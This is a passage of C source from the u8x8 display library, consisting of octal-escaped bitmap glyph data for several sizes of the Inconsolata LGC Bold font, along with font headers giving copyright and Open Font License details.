"\377\0\0\0\0\16\17\17\17\16\16\16\16\16\377\377\377\16\16\16\0\0\0\0\0\0\0\0\0\0\1\1" "\1\0\0\0\0\0\360\360\360ppppppppp\0\0\0\0\77\177\177\70\34\34\34\34<\370" "\370\340\300\0\0 p\370\360\340\300\300\300\300\340\377\177\77\17\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\300\300\340\360pppp\360\340`\0\0\0\374\377\377\377\71<\34\34\34<\370" "\370\340\300\0\0\17\77\177\376\360\340\300\300\300\340\377\177\77\17\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0ppppppppp\360\360\360p\0\0\0\0\0\0\0\0\200\340\374\377\77" "\7\1\0\0\0\0\0\0\200\360\374\377\77\7\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0" "\0\0\0\0\0\0\200\300\340\340\360ppp\360\340\340\300\0\0\0\0\7\237\377\377\360p`\360\370\377" "\237\17\0\0\0>\177\377\373\340\300\300\300\300\341\377\377\177\36\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\300\340\340\360pppp\340\340\300\200\0\0\0\37\177\377\373\340\300\300\300\300\340\367" "\377\377\374\0\0@\340\360\340\301\301\301\301\341\360\177\177\37\7\0\0\0\0\0\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70|||\70\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70|||\70\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\61;\37\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340`\360\360\370\370\234\234\16\16\17\7\7" "\3\3\1\1\0\0\1\1\3\3\7\7\17\16\34<\70xp\360\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\16\16\16\16\16\16\16\16\16" "\16\16\16\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\17\16\36\234\274\370" "\370\360\360`px\70<\34\36\16\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 p\370x<\34\34\34\34<\370\370\360\300\0\0\0\0\0\0\0\0\300\360\360x\77" "\37\17\7\0\0\0\0\0\0\0\340\361\361\361\340\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\200\300\340\340\360pppp\360\340\300\200\0\374\377\377\237\3\360\370\374\376\36\16\16" "\357\377\377\377\3\37\77\177\370\360\343\303\307\307\307\307\343\347\7\7\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\300\360\340\200\0\0\0\0\0\0\0\0\0\300\370\377\37\7\37\177\374\360" "\200\0\0\0\300\370\377\77\7\7\7\7\7\7\7\37\177\376\360\300\1\1\1\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\360\360\360ppppppp\360\340\340\300\0\0\377\377\377ppppppp\370" "\377\337\217\0\0\377\377\377\300\300\300\300\300\300\300\340\377\377\177\36\0\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0\200\300\340\340\360pppp\360\340\300\300\0\374\377\377\377\3\0\0\0\0\0\0\0" "\1\3\3\1\7\37\77\177\370\360\340\300\300\300\300\340\360\360p \0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\360\360\360pppppp\360\340\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\3" "\377\377\377\374\0\377\377\377\300\300\300\300\300\340\340\370\177\77\37\3\0\1\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\360\360\360ppppppppppp\0\0\377\377\377pppppppp" "pp\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\360\360\360ppppppppppp\0\0\377\377\377ppppppp" "pp\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\340\360pppp\360\340\340\300\200\370\377\377\237\3\0\0\0\0\300\300\300" "\301\303\301\300\7\37\77\177\370\340\340\300\300\301\301\301\341\377\377\177\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\360\360\360\20\0\0\0\0\0\0\0\360\360\360\20\0\377\377\377pppppppp" "\377\377\377\0\0\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\0\0\0pppp\360\360\360ppppp\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\300\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0\0\0\0pppp\360\360\360pppp\0\0\0\0\0\0\0\0\0\377\377\377" "\0\0\0\0\0`\360\340\300\300\300\300\340\377\377\77\0\0\0\0\0\0\0\0\1\1\1\1\1\0\0\0" "\0\0\0\0\360\360\360\20\0\0\0\0\200\300\340\360\360\60\20\0\377\377\377\340p\370\374\336\217\7\3\1" "\0\0\0\0\377\377\377\0\0\0\1\7\17\77~\370\360\340\200\0\1\1\1\0\0\0\0\0\0\0\0\0" "\1\1\1\1\0\360\360\360\20\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\360\360\360\340\200\0\0\0\0\0\0\300\360\360\360\0\377\377\377\7\37~\370\340\360|\37\7" "\377\377\377\0\377\377\377\0\0\0\1\3\1\0\0\0\377\377\377\0\1\1\1\0\0\0\0\0\0\0\0\0" "\1\1\1\0\0\360\360\360\360\300\0\0\0\0\0\0\0\360\360\360\0\377\377\377\3\17\37|\370\340\200\0" "\0\377\377\377\0\377\377\377\0\0\0\0\1\7\17>\374\377\377\377\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\200\300\340\340pppp\360\340\340\300\200\0\374\377\377\237\1\0\0\0\0\0\0\1" "\3\377\377\377\7\37\77\177\370\340\300\300\300\300\340\340\370\177\77\17\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\360\360\360pppppp\360\360\340\300\200\0\0\377\377\377\340\340\340\340\340\340\340\360" "\177\177\37\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\340pppp\360\340\340\300\200\0\374\377\377\337\1\0\0\0\0\0\0\1" "\3\377\377\376\7\37\177\377\360\340\300\300\200\300\300\340\370\177\77\17\0\0\0\0\1\1\1\17\37\77\71\71" "\70\70\70\0\0\360\360\360pppppp\360\360\340\300\200\0\0\377\377\377\340\340\340\340\340\340\340\360" "\177\77\37\0\0\377\377\377\0\0\0\0\1\7\37\177\374\360\300\200\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\1\0\200\300\340\340\360pppp\360\340\340\300\200\0\0\7\37\77=xpp\340\340\340\300" "\301\201\0\0 p\370\340\340\300\300\300\300\300\341\361\377\177\77\0\0\0\0\0\1\1\1\1\1\1\1\0" "\0\0\0\0pppppp\360\360\360ppppppp\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\360\360\360\20\0\0\0\0\0\0\0\0\360\360\360\0\377\377\377\0\0\0\0\0\0\0\0" "\0\377\377\377\0\37\177\377\374\340\300\300\300\300\300\340\374\177\177\37\0\0\0\0\0\1\1\1\1\1\1\1" "\0\0\0\0p\360\360\340\0\0\0\0\0\0\0\0\300\360\360p\0\1\17\177\377\370\300\0\0\200\360\376" "\177\17\3\0\0\0\0\0\3\17\177\376\374\377\37\3\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\360\360\360\0\0\0\0\300\300\200\0\0\0\300\360\360\7\377\377\374\0\340\374\177\77\377\370\300" "\300\377\377\7\0\0\77\377\377\77\7\0\0\3\37\377\377\177\1\0\0\0\0\1\1\0\0\0\0\0\0\1" "\1\0\0\0\20\60\360\360\340\200\0\0\0\0\200\340\360\360\60\0\0\0\0\3\17\237\376\370\370\376\237\7" "\3\0\0\0\0\300\340\370~\77\17\3\3\17\37~\370\360\300\0\1\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\1p\360\360\340\200\0\0\0\0\0\0\300\360\360p\20\0\1\3\17\77\376\370\340\360\374\177\37" "\7\1\0\0\0\0\0\0\0\0\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0pppppppppp\360\360\360p\0\0\0\0\0\0\200\340\360\370~\37" "\17\3\0\0\0\300\340\370\374\377\337\307\303\300\300\300\300\300\300\300\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\0\0\0\374\374\374\34\34\34\34\34\34\34\34\0\0\0\0\0\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\16\16\16\16\16\16" "\16\16\0\0\0\60\360\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\340\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\3" "\7\7\6\0\0\34\34\34\34\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\16\16\16\16\16\16\16\16\17\17\17" "\0\0\0\0\0\0\0\0\0\200\300\360\360\340\200\0\0\0\0\0\0\0\20\34>\17\3\1\1\7\17\77" "\34\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\34\34\34\34\34\34\34\34\34\34\34" "\34\34\34\34\0\0\0\0\370\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77~\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\34\216\216\216\216\216\236" "\374\374\370\0\0<\376\377\377\307\303\303\303\303\343\363\377\377\377\0\0\0\0\0\1\1\1\1\1\1\0\0" "\1\1\1\0\0\374\374\374\4\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377x\34\16\16\16\16\36<" "\374\370\340\0\0\377\377\377\374\340\300\300\300\300\340\360\377\177\37\0\0\1\1\1\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374<\36\16\16\16\16\36" "\34|\70\20\0\17\77\177\376\360\340\300\300\300\300\300\340\360`\0\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\4\0\300\360\370\374\36\16\16\16\16\34<\377" "\377\377\0\0\17\77\177\376\340\300\300\300\300\340\360\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374\234\236\216\216\216\216\236" "\374\370\360\340\0\17\77\177\377\343\343\303\303\303\303\303\343\363c\3\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\340\360\370<\34\34\34\34\16\16\376\376\374<\16\16" "\376\376\374\0\377\377\377\0\0\0\377\377\377\0\0\0\377\377\377\0\1\1\1\0\0\0\1\1\1\0\0\0" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376x\34\34\16\16\16\36\376" "\374\370\0\0\0\377\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\1\1\1\0\0\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374<\36\16\16\16\16\36|" "\370\370\340\0\17\77\177\376\360\340\300\300\300\300\340\360\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376x\34\16\16\16\16\36>" "\374\370\360\300\0\377\377\377|\340\300\300\300\300\340\340\375\177\77\17\0\177\177\177\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\374\34\36\16\16\16\16\34\374" "\376\376\376\0\17\77\177\376\360\340\300\300\300\300\340}\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\370<\34\16\16\16\16" "\36<\34\0\0\0\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p\374\374\376\216\216\216\16\36\34" "<\70\10\0\0`p\360\341\301\303\303\303\303\347\377\376~<\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\340\340\360p\0\0\0\0\0\0\0\0\16\16\16\16\377\377\377\16\16\16\16" "\16\0\0\0\0\0\0\0\0\177\377\377\340\300\300\300\340\360\0\0\0\0\0\0\0\0\0\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0" "\376\376\376\0\0\37\177\377\374\340\300\300\300\340\340|\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\36~\376\370\300\0\0\0\0\200\340" "\376~\36\2\0\0\0\1\17\77\377\370\360\374\77\17\3\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\376\376\340\0\0\300\374\374\370\300\0" "\0\376\376\376\0\3\177\377\374\374\177\7\0\17\177\376\370\377\177\1\0\0\0\1\1\1\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\16>|\370\360\300\300\360\370>" "\36\16\2\0\0\200\300\360\370|\37\17\17\37|\370\360\300\200\0\1\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\36~\376\360\300\0\0\0\0\300\370" "\376~\16\0\0\0\0\3\17\77\376\370\360\376\77\17\1\0\0\0\70xppp|\77\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\16\16\216\316\356\376~" ">\36\16\0\0\300\340\360\370\374\336\317\307\303\301\300\300\300\300\300\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\0\0\0\0\0\200\300\340\360pppppp\0\0\200\200\200\300\377\377\177\1\0\0\0" "\0\0\0\0\0\3\3\3\7\377\376\374\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\77~xpp" "ppp\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\0\0\0" "\0\0\0\0\0\0ppppp\360\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\360" "\200\200\200\0\0\0\0\0\0\0\0\0\370\376\376\37\3\3\3\0\0\0pppppx\177\77\37\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\34\34\36\16\16\16\36\34<\70\70" "\70\34\36\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--30-300-72-72-P-147-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 18/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb21_2x4_n[1732] U8X8_FONT_SECTION("u8x8_font_inb21_2x4_n") = " :\2\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 xpp`\340\307\377\377\317\340`" "ppx\0\0\0\20<>\37\7\3\3\7\37><\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\377\377\377\300\300\300" "\300\300\300\0\1\1\1\1\1\1\177\177\177\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0cw\77\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\340`\0\0\0\0\0\0\0\0\300\360\374\177\37" "\7\1\0\0\0\0\0\300\360\374\177\37\7\1\0\0\0\0\0\0\0\4\17\17\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\340\340\340\340\300\200\0\0\0\0\360\376\377\177\7\1\200\300\360y\37" "\377\377\376\360\0\17\77\177\376\374\316\207\201\200\300\340\377\377\77\17\0\0\0\0\0\1\3\3\3\3\3\1" "\1\0\0\0\0\0\0\200\200\300\300\340\340\340\0\0\0\0\0\0\0\0\1\3\1\1\1\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\0\0\200\300\300\340\340\340\340\340\300\300\200\0\0\0\0\1\3\7\1\0\0\0\200\301\343\377" "\377\77\0\0\0\200\300\360\370\274\236\217\207\203\203\201\200\200\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\200\300\300\340\340\340\340\340\340\300\300\200\0\0\0\0\0\1\1\341\340\340\340\360\361\377" "\277\37\0\0\0\0\300\340\340\300\200\200\200\200\301\367\377\377>\0\0\0\0\1\1\3\3\3\3\3\3\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\0\0\0\0\0\0\200\340\360x\36\17\3\377\377" "\377\0\0\0\0\34\37\37\37\35\34\34\34\34\377\377\377\34\34\34\0\0\0\0\0\0\0\0\0\0\3\3" "\3\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\177\377\377p\70\70\70\70x\360" "\360\300\200\0\0@\340\360\340\300\200\200\200\200\300\377\377\177\37\0\0\0\0\1\1\3\3\3\3\3\3\1" "\0\0\0\0\0\0\0\200\200\300\340\340\340\340\340\340\300\300\0\0\0\370\376\377\377sy\70\70\70x\361" "\361\300\200\0\0\37\177\377\375\340\300\200\200\200\300\377\377\177\37\0\0\0\0\0\1\1\3\3\3\3\3\1" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\0\0\0\0\0\300\370\376\177" "\17\3\0\0\0\0\0\0\0\340\370\377\177\17\1\0\0\0\0\0\0\0\0\0\3\3\3\3\0\0\0\0" "\0\0\0\0\0\0\0\200\300\300\340\340\340\340\340\300\300\200\0\0\0\0\17\77\377\377\341\340\300\340\361\377" "\77\37\0\0\0|\376\377\367\301\201\200\200\201\303\377\377\376<\0\0\0\0\1\1\3\3\3\3\3\3\1" "\1\0\0\0\0\0\200\300\300\340\340\340\340\340\300\300\200\0\0\0\0>\377\377\367\301\200\200\200\200\301\357" "\377\377\370\0\0\200\300\341\301\203\203\203\203\303\341\377\377\77\17\0\0\0\1\1\3\3\3\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p\370\370\370p\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\3\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--44-440-72-72-P-215-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 191/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb33_3x6_f[32260] U8X8_FONT_SECTION("u8x8_font_inb33_3x6_f") = " \377\3\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360" "\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\17\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\17\217\217\217\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\37\77\77\77" "\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0" "\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0" "\0\0\0\300\300\300\300\300\0\0\0\0\200\200\200\200\200\200\376\377\377\377\217\200\200\200\200\377\377\377\377\203" "\200\200\200\200\7\7\7\7\7\377\377\377\377\17\3\3\3\203\377\377\377\377\7\7\7\7\7\0<<<<" "\374\377\377\377\77<<<<\377\377\377\377\77<<<<\14\0\0\0\0x\177\177\177\37\0\0\0\0" "\177\177\177\177\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\360\360\360\360\200\200\0\0\0\0\0\0\0\0\0\0\360\370" "\374\376\377\37\17\7\377\377\377\377\7\17\17\37\177>\34\10\0\0\0\0\1\7\17\37\37\77>|\377\377" "\377\377\360\360\340\340\340\300\200\0\0\0\0\0\300\340\340\300\200\0\0\0\377\377\377\377\1\1\203\307\377\377" "\377\377~\0\0\1\3\7\7\17\17\17\37\36\377\377\377\377\36\17\17\17\7\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0" "\0\0\0\0\0\300\300\300\300@\0\0\377\377\377\307\307\307\307\377\377\377\377|\200\340\370\374\377\77\37\7" "\1\0\0\0\1\3\3\7\7\7\7\7\303\363\375\376\177\37\7\3\0\0\0\0\0\0\0\0\0\0\0\200" "\340\370\376\377\77\17\3\361\374\376\376\37\37\37\37\376\376\374\360\0\60<\77\77\37\7\1\0\0\0\0\3" "\17\37\37>>>>\37\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\374" "\376\377\377\377\17\7\3\7\17\377\377\377\376\374\0\0\0\0\0\0\0\0\200\300\303\357\377\377\177\374\370\374" "\377\337\17\7\3\0\0\200\200\200\0\0\370\376\377\377\377\207\1\0\0\0\1\7\17\277\377\376\374\370\374\377" "\377\77\17\6\1\7\17\37\37\37>>>>>>\37\37\17\17\7\7\17\77\77\37\34\10\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\360" 